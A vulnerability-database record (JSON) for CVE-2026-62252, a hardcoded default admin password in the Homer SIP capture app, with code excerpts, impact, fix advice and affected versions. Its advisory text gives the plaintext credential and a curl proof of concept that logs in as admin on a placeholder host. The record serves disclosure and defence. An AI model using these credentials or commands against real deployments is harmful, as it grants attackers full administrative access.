{"schema":"threatline.record/2","record":{"id":"CVE-2026-62252","aliases":["GHSA-6xp5-7rcx-xfgx","GO-2026-6671"],"summary":"Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login","details":"### Summary\nOn every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.\n\n### Details\n**`config/config.go` lines 858-861:**\n```go\n// DefaultInternalAuthPasswordHash is the SHA-256 hex digest of the default\n// bootstrap password (cleartext: sipcapture).\nconst DefaultInternalAuthPasswordHash = \"883ffc1f37fd0fe542b0fb9740035c4383e7d976c411161d24e62edace280f90\"\n```\n\n**`coordinator/services/auth_bootstrap.go` lines 20-71:** `EnsureBootstrapAdminUser()` runs at startup. If no admin user exists, it inserts a row with `username=admin`, `password_hash=DefaultInternalAuthPasswordHash`. No `force_change`, no `first_login` flag, no expiry is set.\n\n**`coordinator/services/auth_bootstrap_test.go` line 114** confirms the plaintext:\n```go\nu, err := svc.Authenticate(ctx, \"admin\", \"sipcapture\")\n```\n\n**`passwordhash/password.go` lines 36-45:** Legacy SHA-256 hex hashes are accepted via `legacySHA256HexEqual`, so the default credential is functional on any deployment.\n\n### PoC\n```bash\n# Authenticate with default credentials — works on any fresh Homer deployment\ncurl -s -X POST http://<homer-host>/api/v3/auth \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"sipcapture\"}'\n# Response: {\"token\":\"<admin-jwt>\",\"data\":{\"userGroup\":\"admin\"}}\n\n# Use the token to access all admin functionality\ncurl -H \"Authorization: Bearer <admin-jwt>\" http://<homer-host>/api/v3/users\n```\n\n### Impact\nUse of Hard-coded Credentials (CWE-798). Any attacker who can reach a freshly deployed Homer instance gains immediate full administrative access using the publicly documented default password, with no lockout, rate limiting, or forced password change required.\n\n### Fix\nRemove the hardcoded `DefaultInternalAuthPasswordHash` constant. Require operators to provide a hashed admin password in the configuration file. Alternatively, generate a random password on first startup, print it to stdout once, and immediately force a change on first login.\n\nIf possible, please apply for a CVE number when posting.","categories":["Libraries & packages"],"product":"github.com/sipcapture/homer-app","vendor":"sipcapture","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6xp5-7rcx-xfgx","source_modified_at":"2026-10-07T16:12:03Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/sipcapture/homer-app"},"range":"< 0.0.0-20260625091610-b2e942031ff8"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-62252","source_modified_at":"2026-10-07T17:44:17.215Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"homer","vendor":"sipcapture","versions":[{"status":"affected","version":"< 11.0.283"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6xp5-7rcx-xfgx","source_modified_at":"2026-10-20T00:55:38.909531918Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/sipcapture/homer-app","ecosystem":"Go","purl":"pkg:golang/github.com/sipcapture/homer-app"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260625091610-b2e942031ff8"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6xp5-7rcx-xfgx","source_modified_at":"2026-10-07T16:12:03Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/sipcapture/homer-app"},"version":"0.0.0-20260625091610-b2e942031ff8"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6xp5-7rcx-xfgx","source_modified_at":"2026-10-20T00:55:38.909531918Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"github.com/sipcapture/homer-app","ecosystem":"Go","purl":"pkg:golang/github.com/sipcapture/homer-app"},"version":"0.0.0-20260625091610-b2e942031ff8"}],"cvss":9.8,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00653,"percentile":0.50667,"score_date":"2026-10-23"},"published_at":"2026-10-07T16:12:58.955Z","modified_at":"2026-10-20T00:55:38.909531918Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-6xp5-7rcx-xfgx","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T16:12:03Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-62252","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-07T17:44:17.215Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-6xp5-7rcx-xfgx","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-20T00:55:38.909531918Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62252","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/pull/838","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/sipcapture/homer/releases/tag/11.0.283","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-6xp5-7rcx-xfgx","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-10-07T17:43:45.414692Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T00:55:38.909531918Z","content_hash":"f52648ac606c22a8f9d2e8e660a1ab2fb35c1e9f61372c077bc67b88d551bdda"}}
